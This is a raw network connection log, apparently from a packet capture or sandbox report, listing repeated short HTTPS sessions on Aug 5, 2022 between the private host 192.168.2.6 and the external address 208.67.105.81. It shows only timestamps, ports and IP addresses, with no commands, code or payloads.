Aug 5, 2022 12:12:09.959738016 CEST	49913	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.959794998 CEST	49913	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.968729973 CEST	49913	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.968775034 CEST	443	49913	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.968789101 CEST	49913	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.968849897 CEST	49913	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.092304945 CEST	49914	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.092370987 CEST	443	49914	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.092500925 CEST	49914	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.093135118 CEST	49914	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.093151093 CEST	443	49914	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.155199051 CEST	443	49914	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.155289888 CEST	49914	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.156024933 CEST	49914	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.156049967 CEST	443	49914	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.159610033 CEST	49914	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.159634113 CEST	443	49914	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.209726095 CEST	443	49914	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.209820032 CEST	443	49914	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.209949970 CEST	49914	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.210004091 CEST	49914	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.212106943 CEST	49914	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.212146997 CEST	443	49914	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.212162971 CEST	49914	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.212212086 CEST	49914	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.340336084 CEST	49915	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.340390921 CEST	443	49915	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.340502977 CEST	49915	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.341367006 CEST	49915	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.341387033 CEST	443	49915	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.403718948 CEST	443	49915	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.403917074 CEST	49915	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.405334949 CEST	49915	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.405350924 CEST	443	49915	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.410856962 CEST	49915	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.410876036 CEST	443	49915	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.458311081 CEST	443	49915	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.458393097 CEST	443	49915	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.458468914 CEST	49915	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.458910942 CEST	49915	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.458939075 CEST	49915	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.458957911 CEST	443	49915	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.458967924 CEST	49915	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.459007978 CEST	49915	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.580260038 CEST	49916	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.580308914 CEST	443	49916	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.580393076 CEST	49916	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.581192970 CEST	49916	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.581216097 CEST	443	49916	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.646027088 CEST	443	49916	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.646145105 CEST	49916	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.646656036 CEST	49916	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.646665096 CEST	443	49916	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.651484013 CEST	49916	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.651499987 CEST	443	49916	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.704852104 CEST	443	49916	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.704921961 CEST	443	49916	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.704940081 CEST	49916	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.704968929 CEST	49916	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.705339909 CEST	49916	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.705358028 CEST	443	49916	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.705382109 CEST	49916	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.705401897 CEST	49916	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.834362030 CEST	49917	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.834404945 CEST	443	49917	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.834505081 CEST	49917	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.835431099 CEST	49917	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.835444927 CEST	443	49917	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.895462990 CEST	443	49917	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.895572901 CEST	49917	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.900454044 CEST	49917	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.900484085 CEST	443	49917	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.904347897 CEST	49917	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.904369116 CEST	443	49917	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.950459957 CEST	443	49917	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.950530052 CEST	443	49917	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.950578928 CEST	49917	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.950644970 CEST	49917	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.951044083 CEST	49917	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.951065063 CEST	443	49917	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:10.951102018 CEST	49917	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:10.951136112 CEST	49917	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.123732090 CEST	49918	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.123778105 CEST	443	49918	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.123879910 CEST	49918	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.162759066 CEST	49918	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.162795067 CEST	443	49918	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.221823931 CEST	443	49918	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.222043991 CEST	49918	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.236190081 CEST	49918	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.236207962 CEST	443	49918	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.239775896 CEST	49918	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.239794016 CEST	443	49918	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.277100086 CEST	443	49918	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.277179003 CEST	443	49918	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.277337074 CEST	49918	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.277355909 CEST	49918	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.280385971 CEST	49918	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.280419111 CEST	443	49918	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.280443907 CEST	49918	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.280472994 CEST	49918	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.404828072 CEST	49919	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.404897928 CEST	443	49919	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.405019045 CEST	49919	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.406214952 CEST	49919	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.406265974 CEST	443	49919	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.467767000 CEST	443	49919	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.468199015 CEST	49919	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.468367100 CEST	49919	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.468389988 CEST	443	49919	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.471930981 CEST	49919	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.471949100 CEST	443	49919	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.521940947 CEST	443	49919	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.522027016 CEST	443	49919	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.522126913 CEST	49919	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.522155046 CEST	49919	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.523153067 CEST	49919	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.523183107 CEST	443	49919	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.523194075 CEST	49919	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.523271084 CEST	49919	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.652170897 CEST	49920	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.652230024 CEST	443	49920	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.652312994 CEST	49920	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.652934074 CEST	49920	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.652964115 CEST	443	49920	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.712743998 CEST	443	49920	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.712827921 CEST	49920	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.713340044 CEST	49920	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.713356018 CEST	443	49920	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.716841936 CEST	49920	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.716861010 CEST	443	49920	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.767860889 CEST	443	49920	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.767955065 CEST	49920	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.768865108 CEST	443	49920	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.768954039 CEST	49920	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.768966913 CEST	443	49920	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.769030094 CEST	49920	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.771012068 CEST	49920	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.771049023 CEST	443	49920	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.771064997 CEST	49920	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.771128893 CEST	49920	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.892765999 CEST	49921	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.892815113 CEST	443	49921	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.892951012 CEST	49921	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.894175053 CEST	49921	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.894207001 CEST	443	49921	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.954119921 CEST	443	49921	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.955774069 CEST	49921	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.956212997 CEST	49921	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.956227064 CEST	443	49921	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:11.967497110 CEST	49921	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:11.967525005 CEST	443	49921	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.011022091 CEST	443	49921	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.011101961 CEST	443	49921	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.011213064 CEST	49921	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.063183069 CEST	49921	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.063230038 CEST	443	49921	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.063239098 CEST	49921	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.066203117 CEST	49921	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.197789907 CEST	49922	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.197846889 CEST	443	49922	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.197995901 CEST	49922	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.209456921 CEST	49922	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.209492922 CEST	443	49922	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.268487930 CEST	443	49922	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.268616915 CEST	49922	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.270987034 CEST	49922	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.271007061 CEST	443	49922	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.276667118 CEST	49922	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.276695967 CEST	443	49922	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.323808908 CEST	443	49922	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.323887110 CEST	443	49922	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.323894978 CEST	49922	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.323944092 CEST	49922	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.324521065 CEST	49922	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.324541092 CEST	443	49922	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.324556112 CEST	49922	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.324580908 CEST	49922	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.471596956 CEST	49923	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.471694946 CEST	443	49923	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.471869946 CEST	49923	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.472446918 CEST	49923	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.472470999 CEST	443	49923	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.535474062 CEST	443	49923	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.535691023 CEST	49923	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.536175966 CEST	49923	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.536190033 CEST	443	49923	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.552067995 CEST	49923	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.552097082 CEST	443	49923	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.594939947 CEST	443	49923	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.595061064 CEST	443	49923	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.595182896 CEST	49923	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.597771883 CEST	49923	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.597812891 CEST	443	49923	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.597831011 CEST	49923	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.598090887 CEST	49923	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.721508980 CEST	49924	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.721561909 CEST	443	49924	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.721787930 CEST	49924	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.722462893 CEST	49924	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.722475052 CEST	443	49924	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.783596039 CEST	443	49924	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.783710957 CEST	49924	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.784312010 CEST	49924	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.784321070 CEST	443	49924	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.789951086 CEST	49924	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.789971113 CEST	443	49924	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.839946985 CEST	443	49924	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.840023994 CEST	443	49924	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.840148926 CEST	49924	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.851270914 CEST	49924	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.851303101 CEST	443	49924	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.973130941 CEST	49925	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.973200083 CEST	443	49925	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:12.973349094 CEST	49925	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.975203991 CEST	49925	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:12.975258112 CEST	443	49925	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.043426037 CEST	443	49925	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.043564081 CEST	49925	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.044079065 CEST	49925	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.044090033 CEST	443	49925	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.047564030 CEST	49925	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.047585011 CEST	443	49925	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.097902060 CEST	443	49925	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.098050117 CEST	443	49925	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.098073959 CEST	49925	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.098109007 CEST	49925	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.127209902 CEST	49925	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.127255917 CEST	443	49925	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.127274036 CEST	49925	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.127378941 CEST	49925	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.252388000 CEST	49926	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.252434969 CEST	443	49926	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.252579927 CEST	49926	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.253917933 CEST	49926	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.253935099 CEST	443	49926	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.313980103 CEST	443	49926	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.314097881 CEST	49926	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.319070101 CEST	49926	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.319087982 CEST	443	49926	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.335728884 CEST	49926	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.335743904 CEST	443	49926	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.368482113 CEST	443	49926	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.368567944 CEST	49926	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.368591070 CEST	443	49926	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.368623972 CEST	443	49926	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.368643999 CEST	49926	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.368664026 CEST	49926	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.371031046 CEST	49926	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.371085882 CEST	443	49926	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.371105909 CEST	49926	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.371150970 CEST	49926	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.490941048 CEST	49927	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.491014004 CEST	443	49927	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.491142988 CEST	49927	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.491684914 CEST	49927	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.491707087 CEST	443	49927	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.556257963 CEST	443	49927	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.556408882 CEST	49927	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.556927919 CEST	49927	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.556941032 CEST	443	49927	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.561561108 CEST	49927	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.561600924 CEST	443	49927	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.619285107 CEST	443	49927	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.619386911 CEST	443	49927	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.619427919 CEST	49927	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.619461060 CEST	49927	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.620157957 CEST	49927	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.620187044 CEST	443	49927	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.620194912 CEST	49927	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.620251894 CEST	49927	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.745901108 CEST	49928	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.745959044 CEST	443	49928	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.746072054 CEST	49928	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.747237921 CEST	49928	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.747268915 CEST	443	49928	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.818435907 CEST	443	49928	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.818521976 CEST	49928	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.819181919 CEST	49928	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.819192886 CEST	443	49928	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.832712889 CEST	49928	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.832736969 CEST	443	49928	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.882110119 CEST	443	49928	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.882190943 CEST	443	49928	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.882256985 CEST	49928	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.882288933 CEST	49928	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.882637978 CEST	49928	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.882661104 CEST	443	49928	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:13.882680893 CEST	49928	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:13.882761002 CEST	49928	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.005501986 CEST	49929	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.005552053 CEST	443	49929	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.005645990 CEST	49929	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.006800890 CEST	49929	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.006825924 CEST	443	49929	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.069180012 CEST	443	49929	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.069288969 CEST	49929	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.070004940 CEST	49929	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.070020914 CEST	443	49929	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.075314999 CEST	49929	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.075334072 CEST	443	49929	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.123786926 CEST	443	49929	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.123848915 CEST	443	49929	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.123888969 CEST	49929	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.123919964 CEST	49929	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.125670910 CEST	49929	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.125694990 CEST	443	49929	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.125710011 CEST	49929	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.125756979 CEST	49929	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.262955904 CEST	49930	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.263011932 CEST	443	49930	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.263113022 CEST	49930	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.263772964 CEST	49930	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.263801098 CEST	443	49930	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.323779106 CEST	443	49930	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.323889017 CEST	49930	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.332134008 CEST	49930	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.332154036 CEST	443	49930	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.335602045 CEST	49930	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.335633993 CEST	443	49930	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.378144979 CEST	443	49930	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.378221035 CEST	443	49930	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.378257990 CEST	49930	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.378282070 CEST	49930	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.378599882 CEST	49930	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.378627062 CEST	443	49930	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.378640890 CEST	49930	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.378700972 CEST	49930	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.503639936 CEST	49931	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.503695011 CEST	443	49931	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.503781080 CEST	49931	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.504976034 CEST	49931	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.505007029 CEST	443	49931	208.67.105.81	192.168.2.6
